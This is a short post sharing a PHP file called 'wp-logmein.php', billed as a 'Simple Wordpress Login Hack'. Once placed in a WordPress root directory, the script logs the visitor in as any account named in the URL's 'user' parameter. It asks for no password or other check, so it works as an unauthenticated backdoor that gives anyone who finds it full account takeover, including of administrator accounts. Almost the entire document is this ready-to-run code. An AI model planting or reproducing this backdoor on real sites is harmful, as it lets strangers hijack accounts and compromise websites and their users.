Simple Wordpress Login Hack

wp-logmein.php

<?php
/*
* Author: Pablo Westphalen 
*
* http://www.github.com/PabloWestphalen
*
*
* Usage: place this file in wp root dir, alongside wp-config
* then access your WP_URL/wp-logmein.php?user=something
*/
error_reporting(E_ALL|E_STRICT);
require_once('wp-config.php');

function logUser($username) {
	$user = get_user_by('login', $username );
	wp_clear_auth_cookie();
	wp_set_current_user ( $user->ID );
	wp_set_auth_cookie  ( $user->ID );
}

logUser($_GET['user']);

?>